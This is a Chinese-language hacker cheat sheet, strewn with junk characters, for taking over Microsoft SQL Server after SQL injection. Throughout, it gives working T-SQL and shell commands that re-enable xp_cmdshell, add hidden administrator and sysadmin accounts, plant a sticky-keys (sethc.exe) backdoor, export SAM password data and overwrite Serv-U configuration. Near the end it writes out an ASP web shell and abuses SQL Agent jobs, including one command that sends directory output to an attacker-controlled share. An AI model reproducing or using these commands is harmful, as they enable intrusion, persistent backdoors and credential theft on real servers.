1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
4 t5 M( U8 R! P x# N7 z恢复方法:查询分离器连接后,7 |& e! O; t+ H6 U+ p
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int % M, u2 O1 L, Q1 L! b- h
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
5 u! a- c5 G( f3 k然后按F5键命令执行完毕" | s9 W2 N2 ~* w! A1 j
0 f" t1 d, j# G8 {2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)1 N7 m: m6 X A" ?8 {* Y3 V7 C
恢复方法:查询分离器连接后,9 S! M2 v) e$ }! z$ C: b' [3 _8 T
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"- ]4 z5 d) K9 \+ d3 q
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'* i7 V C2 a) }! o) t. x2 U- q
然后按F5键命令执行完毕4 ^6 ?! _& R+ m. \ G2 b# I; u' g+ J
! K2 X1 J( m7 O) g3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)/ M3 M: Q* ~7 Y6 }! k6 K; j% o
恢复方法:查询分离器连接后,/ o0 f0 [7 E* K7 C' h
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
; H2 G6 c. q- Q. v2 V8 P- ?第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
- f4 j7 y* h6 R# a( }5 ~) X7 S" A( D3 K然后按F5键命令执行完毕
% i- w2 W# t5 _6 G& o( ?" y# k& M" W9 E# @4 z
4 终极方法.
L3 p2 ^/ \2 y1 }) I: U+ J4 c如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:* z9 Y/ c, F( @% a& k
查询分离器连接后,
5 {# ?" ?9 d( _! ~& Q: s2000servser系统:0 M* D, [) u. D& s( b& I8 e
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'$ O& ] G. q3 V, h. o7 [9 M; Q
5 K7 S5 l6 u& \- H( |4 `1 |4 a# N: r
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
5 P# Z2 U; C& o2 ?5 `) G9 z! }& _' ~5 k, }2 y: Q; X# z. B( [
xp或2003server系统:+ C1 s9 I+ o8 ]6 `+ R1 U% f: D
8 g! \% ^' @/ z1 h6 T. tdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'! ]: C p0 N# }$ z7 X2 x
4 o3 S( B. [4 z. a
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'3 S7 M* Q) D ~+ d% Z; j
) u+ Q' c4 V4 ]3 F% I: |: @" P6 }
6 @8 v/ y3 {- p# ~ Y: u% U
五个SHIFT
- [ ^1 Y0 q ^( n8 E1 ndeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';0 @ r& w e/ ~; m4 e
9 ?# H3 r& g/ T r4 N. u) ]
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; % d# h- P& n2 X5 m1 x
; j: [4 j1 n3 |9 ~. H$ m" Gxp_cmdshell执行命令另一种方法1 y8 ^$ m" b. T7 B8 v9 G/ A# D
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' - T O2 j# z4 H' Z8 y
; f! ^* o' F7 q$ z
判断存储扩展是否存在
. z6 V6 ^4 ?& r: v8 B& t( j+ `+ rSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
; Z& g2 x- q! [0 X# ^% G! v返回结果为1就OK7 a/ V$ ~, h, J0 [
. f& v H; @ J' @9 y* \% T
+ E+ o+ {$ N& j8 f上传xplog70.dll恢复xp_cmdshell语句:# h: k6 h% {" \% h1 D
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
9 i* V( Q7 X2 m9 V' H5 U8 o/ N: v |3 \' \, Q
否则上传xplog7.0.dll2 Q" `% u o% I- A$ e" X' A
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'$ b5 q7 q+ @9 j4 F/ i* X9 y
$ Z$ A- b2 f# ^
+ Q$ h# h( I* `: ]8 l
5 r5 z) m9 g. `5 j
首先开启沙盘模式:. `# Z" G- t7 S/ R7 c" R+ n
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1! k/ C2 k) H4 w
% H8 @, m; A0 |# {" S然后利用jet.oledb执行系统命令
! ?8 Z$ x" E) y9 J7 r9 x2 jselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
2 A( y& m. F( `5 U& O返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
/ l% A( _: c" ^/ X H7 B2 O( m& l) i% @8 p
2 d& H1 m1 O5 Z2 S, }: R. w
5 H, n9 x7 ]3 i! Z: Z" F" `恢复过程sp_addextendedproc 如下:
. S) G. X% @1 I5 Ycreate procedure sp_addextendedproc --- 1996/08/30 20:13
6 b" u0 G, |; G3 T3 @# q4 _3 k@functname nvarchar(517),/* (owner.)name of function to call */
- Y7 c/ B5 D/ Q@dllname varchar(255)/* name of DLL containing function */ ; K" I0 d6 R0 u8 V8 [1 f
as
/ p& _6 [8 X3 z, w7 mset implicit_transactions off . w l8 W" w7 g( Y0 \1 K- G$ o7 {
if @@trancount > 0
8 i4 J5 A. d# c/ a/ |& D0 Gbegin 1 ^6 P2 d5 {& S( w
raiserror(15002,-1,-1,'sp_addextendedproc') ' ] b9 l- g3 ^- l, O
return (1)
% b# ]+ m2 F+ N7 oend & F- m, f3 a- Y6 g% |* i
dbcc addextendedproc( @functname, @dllname)
8 f2 c! f7 ]# S9 A' R" Wreturn (0) -- sp_addextendedproc & X# B$ ]" v1 c
GO
, r o4 |( w% ^9 \# N4 {8 A
' f8 I8 f4 n1 C( E. i0 X, D# |- ^# f& G) Z. k
: h M; |6 G$ w: d
导出管理员密码文件
: N9 h) t5 E. V. `: wsa默认可以读sam键.应该。; [, d* |& J. j) u4 w" C+ p
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg4 g0 [$ b2 w2 C3 i
net user administrator test- Q" g% \) q$ e' e ?
用administrator登陆.
0 h8 v6 B! h' |0 o, \# [用完机器后
3 a5 R% H: X1 e5 p7 F$ m: u8 Vreg import c:\test.reg# U3 A) ?' D) w( W7 d% H
根本不用克隆.: A. U2 b+ v" ^
找到对应的sid. 6 ]/ B# v, t7 E5 o$ ?7 ~2 [
1 t- L$ O& L! x6 F2 u- J% J& X+ g ~
& @5 W3 ^/ c: z2 g9 H# W& L: H. `) o* ~+ K( C
恢复所有存储过程
# |' Y" [8 Q: F. o. J) @$ Uuse master
+ I# h b: P y; z# [# C. Eexec sp_addextendedproc xp_enumgroups,'xplog70.dll' . l: ^; T0 r7 l% P' N( V* L- E) n
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' , F x! r9 A5 {8 R7 N
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' + `) Z& \) j2 [. e
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
; D. o% P4 B2 o& Bexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' & l+ H2 V8 v, }$ q* r. Y' n
exec sp_addextendedproc sp_OACreate,'odsole70.dll' 6 T, ]- d( z' C# n8 @+ Z$ U
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
; b$ O6 s8 _3 d3 b fexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
A# j9 i- F0 D1 q' p1 L9 oexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
, j/ q/ g5 _/ {; Y; H. k8 `exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
4 G$ y: A! c8 n( \5 n0 [/ @6 Vexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' & K7 t, K; x. _/ b5 I, r
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
, g- U% j: K0 x( a% u) O- d2 a! cexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
4 a# w# B4 @9 ~) v% ?& Vexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' ; A/ V5 Z/ a$ _! F& v
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' . u2 c" d+ a, ^1 v C
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' ( f, _7 f" d/ u* j- W* u2 Z
exec sp_addextendedproc xp_regread,'xpstar.dll'
" g+ z7 a" }6 a4 x( N" |. fexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 8 B6 X. f# @+ j/ h+ r2 X8 F+ e
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
) A. E) w' Q3 q8 iexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
' M) y+ n7 W, \( Z% g; E) b$ R# i2 J' H
1 i8 V' n' V/ U5 B& m' R' W' ^: d* L
建立读文件的存储过程7 V& L3 p$ a" a& G% B7 T( W
Create proc sp_readTextFile @filename sysname
9 T5 | U$ I0 A6 }+ W5 ~- M- o \as0 Q& [ K1 ^* z! P
. z% O0 F' [. U8 i5 w7 p2 M: d2 [
begin 3 S' @ D+ F% p3 I9 V
set nocount on
( U0 f6 @" ^) u- D$ z Create table #tempfile (line varchar(8000))" D% m7 w! y3 T9 D$ @1 y( {
exec ('bulk insert #tempfile from "' + @filename + '"')
' h2 H: @$ F9 Y select * from #tempfile& V, W6 q8 I. E4 Q5 l3 ]
drop table #tempfile& |! A' y) _8 C% _# i+ K c" s
End4 H( C$ l. R/ u: z* A2 S( ?
9 S+ n9 T, y. b) t/ V! ?7 ^5 K( Nexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
+ T, d' h4 v+ P( N( Z& w6 T3 u- b4 e2 f查看登录用户# ]' j" E6 }" \3 G& [8 T( \* N/ r
Select * from sysxlogins; `0 J" B2 T. {/ r. J; {8 l+ z5 K
+ {- L' P" ?' \& J+ J! ^把文件内容读取到表中: ?0 s/ B# ]" K6 h
BULK INSERT tmp from "c:\test.txt"
6 J6 h$ a# F) E8 g- ?$ T5 E NdElete from 表名 清理表里的内容
( u; a$ z( c0 I* F( y+ ?; P" Q! lcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
- L b" p& L" U+ ^# G
, i+ j- P; p" j' c, t& T$ ?5 a. ~8 u
6 y ]# g4 j( o2 W$ V8 Q& W加sa用户7 }9 F% E% N0 ]' J& _
exec master.dbo.sp_addlogin user,pass;. \7 }. Q- \3 r
exec master.dbo.sp_addsrvrolemember user,sysadmin# }8 b1 \2 Z, a1 ?2 y0 K8 @+ q
Q! y/ C: q: S6 g& y6 q$ q7 u+ h% S% u! a/ H5 p/ |! c- d" w# E
: ^7 O) m: d% W: R读文件代码1 D, a8 {& k3 e2 Q- m4 l
declare @o int, @f int, @t int, @ret int; q! j7 l& b' M* ^4 }& _4 E
declare @line varchar(8000)1 R7 B( i6 D/ s' h# {6 p8 _
exec sp_oacreate 'scripting.filesystemobject', @o out
; z* x1 _$ ]$ h( ?* G3 i5 Rexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1+ B$ M/ G" w! M7 U" ~
exec @ret = sp_oamethod @f, 'readline', @line out
7 S( @9 V; s a9 Uwhile( @ret = 0 )
3 X0 w% w* Q& \5 F( m, _$ Rbegin0 ?, C1 |) D9 G4 O5 }' ]. O' l
print @line; M/ ]( z# m% ~$ S0 l! c& S
exec @ret = sp_oamethod @f, 'readline', @line out
% ^( h- R8 h' a3 E/ M# \/ ?end
1 p# H0 U; [) r$ T! ?1 P/ K
9 c# I1 C6 z! J# `+ T
6 C1 Q& r4 A' u/ s/ p5 ?9 X0 o写文件代码:
5 h% y' t( Z' _3 g) b$ N8 E/ g7 ddeclare @o int, @f int, @t int, @ret int
; M( H5 {7 Z! Q+ }9 Texec sp_oacreate 'scripting.filesystemobject', @o out
* p3 g. \8 ?1 \0 s7 m9 uexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
- V& e2 M, c7 C: |, F% h& n3 n8 Zexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》7 L8 i( V Q0 b) E& o0 {6 I- K
" h5 c7 S5 T4 y0 ~/ Y$ ~0 _
. f2 z# {: H" B& ~添加lake2 shell, y# X: v2 ^- Y0 }, A6 }# ^
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'4 S+ ]9 y2 E/ e1 ]' R0 }
sp_dropextendedproc xp_lake2
2 t& H# @6 g, C% ` a5 N! FEXEC xp_lake2 'net user'
0 B0 s- s' e6 S8 A# Y7 o" L- w6 `7 y; q& v5 B; p2 A: `
- j7 A/ g7 x$ y$ |) j得到硬盘文件信息 & L7 }9 Z. P* U1 R! R
--参数说明:目录名,目录深度,是否显示文件
0 V% ?5 B0 K, x; }execute master..xp_dirtree 'c:'
+ [8 P/ B+ N9 ], U8 W+ L2 f: Q A# Oexecute master..xp_dirtree 'c:',1 ' F3 `. @8 ?# y' h
execute master..xp_dirtree 'c:',1,1 & v! R" b8 O7 x b- b) K% Y) J
$ P: F e* M1 b p$ R1 _
7 T" k9 G, j. s( f- z9 |读serv-u配置信息, f2 t) v* a+ h: M+ L
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'* F; _" ^+ K& O4 b
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
9 n% N0 J6 b: k; G7 U0 g; }! _8 h; e2 q9 ]% Q
通过xp_regwrite写SHIFT后门: J$ c$ A, x. e F
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--7 ~5 \ r1 x. G$ e4 O: a; Z
. |$ P! L5 e: h0 f& o+ g
4 }9 D; l) E1 }: P5 I, K8 [1 Q$ v( G# t- P
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';$ o. y* B0 h2 R8 j
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
7 n# ^5 O4 m \2 }6 K$ Z) ^# |7 C* W& q/ Z" z B4 t
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
Q0 x/ s9 V' ?3 f b2 p/ u/ d6 e8 ]7 B' X- ?3 B2 g8 D e
r6 m$ K n4 f0 O0 P
( }: D) K; P1 b5 }. d. P. M1 ]
sql server 2005下开启xp_cmdshell的办法' |: B- [6 d# N- A7 O
7 Y3 c, N) W" _* W% l9 Z1 dEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
- T# |+ w0 k* |2 Z9 ^. W$ v/ y J5 \. N% S
SQL2005开启'OPENROWSET'支持的方法:" m' J0 \ ]* @0 }! k8 e
, o7 r2 v0 L U7 u! G( Zexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
; |0 z% T/ |7 w" @2 a* m4 c5 K( P! C+ F, p8 P b3 \5 A
SQL2005开启'sp_oacreate'支持的方法:* f) k; M) H/ }- P- s
7 a7 r% C4 g* [' y/ `2 q
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;7 ?" p# y. z d/ J$ O: q% K& ^. v
9 H8 O1 ^8 N2 o/ ^6 W
- f T8 W% n4 G& R+ J, N% F5 K. G
8 V$ [1 H0 f }0 L( t. ]- r
8 g6 Y+ `! V# l% N, k
" i1 }; J' e W# b; `4 w9 z9 _3 o8 r+ q& U2 O2 D7 e' n" U
, ^* a. }- d' ^) T# I
$ q6 I" L8 f+ {7 D/ L8 e: Z
: [/ c/ F' a" G/ I5 B( u! S& T$ I
7 n, {5 L# J, [$ S4 Y5 S
9 T, U6 [+ K x7 z2 p k% K' c, n3 _7 S2 ~$ E
! X+ q* e! h. k: n+ F! j
! _. H0 S( U; I3 o/ K
`; _3 x; r8 `/ X* F1 f# B
; z1 a5 O/ ^ y2 B8 g3 Z8 R
7 f: j5 z+ s$ b# [, W( {2 o! T7 y$ n
! B' V$ I" O- P! f5 E( t) C: K; a
2 {1 r; R w( k/ Z U% {6 y! m6 w4 n- A7 k: G! t* V( j* o
" Q$ J) Z1 a! i3 Y
3 l9 p& {9 e# v5 u
" a% v$ h. T }以下方面不知道能不能成功暂且留下研究哈:
+ F2 s- K( w4 S0 e5 g4)
7 r2 {2 C9 g. euse msdb; --这儿不要是master哟
$ t9 s( V" V6 q* m# texec sp_add_job @job_name= czy82 ;
1 E' c' S+ G9 ~4 s+ g+ J* ]9 eexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
1 W* ]4 d: Y6 M) ?exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;$ D5 y9 \0 m/ X8 z& G
exec sp_start_job @job_name= czy82 ; w0 _" L7 {, i9 G, D7 F- S
" l/ G' r' w7 Y) f: Q利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以7 t( k* p# J4 a, w- w6 y
执行tsql语句了.
0 W! c" j) Q: S* S" X8 `. }1 U+ \对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名1 T5 A0 R8 Y- Y' e) z
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
; Q3 u1 p% L7 A# b, C/ lnet start SQLSERVERAGENT% X1 r) x, j$ d7 D3 k
' S$ w: V( [7 b* h对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的( @; r; B; O! g3 `! m6 o
USE msdb+ q6 Q/ e0 `5 U; W. [* s: U
EXEC sp_add_job @job_name = GetSystemOnSQL ,
* c3 P4 W P4 Y@enabled = 1,8 j$ K+ D- r$ o3 C4 a9 N! Z. g5 \
@description = This will give a low privileged user access to
# y7 [' ^" F+ n' G( F. ]+ Y% o4 nxp_cmdshell ,* J5 u5 s; \5 K, H& W, P1 M
@delete_level = 1. _ ^4 W+ d0 Y9 N; g0 l
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
2 b& _" a) L$ `! I2 D( Z@step_name = Exec my sql ,
: @2 C! x8 b, l: ]/ K@subsystem = TSQL ,
: G, ~2 h% V3 E@command = exec master..xp_execresultset N select exec4 y' [" D9 Z4 L1 ]6 i
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master ) K! x; ~5 j, E9 c; F
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
2 A; D/ \" j! y- q: z! _@server_name = 你的SQL的服务器名
, H5 t% [* q+ C5 @! X! c+ P! H! LEXEC sp_start_job @job_name = GetSystemOnSQL
' M' b" t' k5 z: g
3 o/ C$ d; }7 `; u) h6 G不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
/ b& I* b: F7 Y6 t才让我们可以以public执行xp_cmdshell
3 y8 T5 I( `7 |; W( A6 b/ B& U6 \! X: C/ i
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)6 K/ q/ _) m& Q4 E' W; C/ B) O
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968! i; |4 Q' X9 S Y5 z$ C5 t b
! |0 @4 s4 F; J; ~9 R0 @USE msdb7 {8 \0 O7 C" E& J' t
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
! h( {5 o1 E/ L@enabled = 1,
B" J4 Y' n1 L; l; s% F@description = This will create a file called c:\sqlafc123.txt ,* C; x- e8 K3 k a4 h. u( R
@delete_level = 1& d. {% Z, T4 l0 B; N1 F" h$ K& C
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
o* M/ C3 S) |- ~@step_name = SQLAFC ,
5 d8 \$ z% g5 q@subsystem = TSQL ,
; _ r2 \: R; W0 r: d& \, v@command = select hello, this file was created by the SQL Agent. ,' g/ m3 F3 |7 m; n
@output_file_name = c:\sqlafc123.txt 8 a) ?4 K$ b& e% \$ }
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,6 l. f# W- F! F; G2 i; {9 {: q2 d
@server_name = SERVER_NAME " ]' t2 n' l, f+ v* d
EXEC sp_start_job @job_name = ArbitraryFilecreate " N Y) o |+ ^4 E) P0 A
% G+ h# g. o* P, ]& H9 Z B. x+ [
如果subsystem选的是:tsql,在生成的文件的头部有如下内容! r: }: v. |+ I) _: v! U
6 r$ E, R/ t/ x! l) s4 N# P( \0 ???揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
7 m+ @6 p$ ]8 |----------------------------------------------
5 j, h2 n2 e- U2 u# q% _hello, this file was created by the SQL Agent. u a( f. a' X9 q/ A
3 e- @# s7 |) m
(1 ?????)
4 N9 C1 S: l+ s; `* J
" [) ]0 z$ V; g6 ]/ T. E所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
! z' l4 ? Q- I命令的vbs文件到启动目录!
! t0 F0 z# K" I5 Y
) [, k% c$ n; _* W' P" X" u6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
7 \! F6 W* O u& O3 L! P$ e6 ]4 }关于sp_MScopyscriptfile 看下面的例子% G& O2 j e, I: Z
declare @command varchar(100) / |& s3 |' i4 H& N. ~
declare @scripfile varchar(200)
z& Y8 ^, K, U. c) J2 E% uset concat_null_yields_null off 6 }0 d- ]& D; k8 A1 b9 L
select @command= dir c:\ > "\\attackerip\share\dir.txt" 3 }. J6 J# E3 l$ a0 N4 D
select @scripfile= c:\autoexec.bat > nul" | @command | rd " : B# T9 B* U1 x$ r7 I% q
exec sp_MScopyscriptfile @scripfile , * B2 X$ s5 ^) p7 u: o1 w
( \1 J5 ]. o. C0 E# n( E" w这两个东东都还在测试试哟" w* S( a3 e' P
让MSSQL的public用户得到一个本机的web shell % I& K* B; ^, [) j% U+ `
, Z5 x) {. e! `
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
, U5 y# x/ K- A" y) y/ U. C--@query= select <img src=vbscript:msgbox(now())> ( a+ \4 T; }+ r% G5 A
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> $ k. x8 D$ p) O3 o1 O, @
@query= select 8 H w- D8 x3 m" ^
<%On Error Resume Next 7 f* n2 i6 j8 U
Set oscript = Server.createObject("wscript.SHELL")
# g& q# A/ Z) |1 O7 U! [Set oscriptNet = Server.createObject("wscript.NETWORK") 6 P! L) C& y/ M1 i4 _
Set oFileSys = Server.createObject("scripting.FileSystemObject") 9 c1 h% |3 f; C; M& R& u- s4 {
szCMD = Request.Form(".CMD") / Y- l5 H5 z9 e1 |: w, v
If (szCMD <>"")Then
! L7 j+ x% p9 l$ j& ]4 HszTempFile = "C:\" & oFileSys.GetTempName()
8 _4 ?0 r0 c2 y3 ~+ A6 Y' P/ K0 @Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
! V$ F& _9 i" n$ @' g: L/ MSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 5 |. F, ^+ V5 ]$ ~9 h8 W
End If %>
! ]4 j' O5 F" \* J<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST"> 7 q; J) P" G& k) b2 p2 |
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 2 Y4 }. G) G& }1 X6 c
</FORM>< RE> ; }, M( Y; g. N2 h U8 h. O* Q
<% If (IsObject(oFile))Then
# B$ a" q9 p' x( nOn Error Resume Next ; p2 s0 y3 F8 q; q7 f
Response.Write Server.HTMLEncode(oFile.ReadAll)
' H" _1 F* y8 C, t$ XoFile.Close $ l: I; c- v. U4 L- v4 R
Call oFileSys.deleteFile(szTempFile, True) ! }! M9 v5 ?: @
End If%>
- d8 ^2 |9 u7 b$ `: ~8 w: N. v( L3 d4 y</BODY></HTML>
# s7 Z3 E7 ?9 E5 O9 }" X v |